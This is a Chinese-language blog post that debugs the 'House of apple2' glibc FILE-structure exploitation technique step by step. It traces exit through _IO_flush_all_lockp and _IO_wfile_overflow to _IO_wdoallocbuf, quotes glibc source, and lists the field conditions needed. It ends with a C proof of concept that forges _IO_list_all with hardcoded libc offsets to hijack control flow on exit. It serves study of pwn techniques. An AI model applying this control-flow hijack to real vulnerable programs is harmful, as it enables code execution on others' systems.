House of apple2调试

House of apple2调试

Berial Lv2

调试

这次依然是利用写poc的方式来一步一步调试

调用链:

1、exit –> __run_exit_handlers

1
2
3
4
5
6
exit --> __run_exit_handlers
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

2、__run_exit_handlers –> RUN_HOOK(IO_cleanup)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
__run_exit_handlers --> RUN_HOOK(IO_cleanup)
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;

__libc_lock_lock (__exit_funcs_lock);

restart:
cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);

__libc_lock_unlock (__exit_funcs_lock);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

img

接着进入看源码

3、RUN_HOOK(IO_cleanup) –> _IO_flush_all_lockp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RUN_HOOK(IO_cleanup) --> _IO_flush_all_lockp
int
_IO_cleanup (void)
{
/* We do *not* want locking. Some threads might use streams but
that is their problem, we flush them underneath them. */
int result = _IO_flush_all_lockp (0);

/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.

The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();

return result;
}

4、_IO_flush_all_lockp –> _IO_wfile_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
_IO_flush_all_lockp --> _IO_wfile_overflow
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

img

主要是要满足第一个就够了,就可以去调用overflow

1
fp->_mode <= fp->_IO_write_ptr > fp->_IO_write_base

此时我们利用poc用0x500大小的chunk来伪造一个_IO_list_all

那么此时发现程序是不会执行overflow的,我们把对应的条件设置好,mode本身就是0,所以不用设置

1
2
_IO_write_ptr = 2
_IO_write_base = 1

img

此时我们再运行试下

img

到了这里,也就是虚标检测,最后再跳到虚表,所以我们还得把虚标位置写为_IO_wfile_jumps

不然会跳不过去的

img

现在程序就到这里了

5、_IO_wfile_overflow –> _IO_wdoallocbuf

1
_IO_wfile_overflow --> _IO_wdoallocbuf

看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
/* Otherwise must be currently reading. If _IO_read_ptr
(and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting
the read pointers to all point at the beginning of the
block). This makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving
that alone, so it can continue to correspond to the
external position). */
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_read_end;

f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush (f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
/* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush (f) == EOF)
return WEOF;
return wch;
}

很多内容,但是我们的目的是到_IO_wdoallocbuf,所以只看前两个if就可以了,肯定不能让第一个if满足

img

也就是说要f->_flags & 0x8 ==0才行

还要满足第二个,也就是f->_flags & 0x800 == 0f->_wide_data->_IO_write_base == 0

img

其实我们的伪造的IO中,flag值已经被我们设置为0了,主要就是看f->_wide_data->_IO_write_base == 0

我们直接把_wide_data的值设置为我们的fake_IO_list_all,并且我们的write_base要等于0

img

现在我们如愿跳到了_IO_wdoallocbuf

6、_IO_wdoallocbuf –> tartget_FUNC

1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_wdoallocbuf --> tartget_FUNC
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

img

看这个,所以首先满足fp->_wide_data->_IO_buf_base == 0然后fp->_flags & 0x2 == 0

img

跟进去看下,一下是跟进之后的每个跳转

img

img

img

img

这里是把vtable当做一个函数了吗,其实并不是,而是vtable + 0x68,可以调试看下

img

也就是说其实就是调用了_wide_data[0xe0][0x68]也就是我们要写入的target_func

我们在_flags中写入1,最后把_wide_data[0xe0][0x68]改为puts函数

效果

img

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>

int main(){
size_t puts_addr = &puts;
size_t libc_base = puts_addr - 0x80ed0;
size_t * _IO_list_all_ = libc_base + 0x21a680;
size_t * stderr_ = libc_base + 0x21a860;
size_t * ptr = malloc(0x500);
size_t _IO_wfile_jumps = libc_base + 0x2160c0;
ptr[-2] = '1';

* _IO_list_all_ = ptr - 2;
ptr[2] = 0;//_IO_write_base and _wide_data->_IO_write_base
ptr[3] = 1;//_IO_write_ptr
ptr[0x19] = _IO_wfile_jumps;//vtable
ptr[0x12] = ptr - 2;//_wide_data = fake_IO_list_all
ptr[26] = ptr - 2;
ptr[11] = puts_addr;

exit(0);
}

总结

  1. fp->_mode <= fp->_IO_write_ptr > fp->_IO_write_base
  2. f->_flags & 0x8 ==0
  3. f->_flags & 0x800 == 0
  4. f->_wide_data->_IO_write_base == 0
  5. fp->_wide_data->_IO_buf_base == 0
  6. fp->_flags & 0x2 == 0
  7. _wide_data[0xe0][0x68] = target_func
  • Title: House of apple2调试
  • Author: Berial
  • Created at : 2024-05-17 17:47:00
  • Updated at : 2024-09-12 15:04:03
  • Link: https://berial.cn/posts/Houseofapple2调试/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments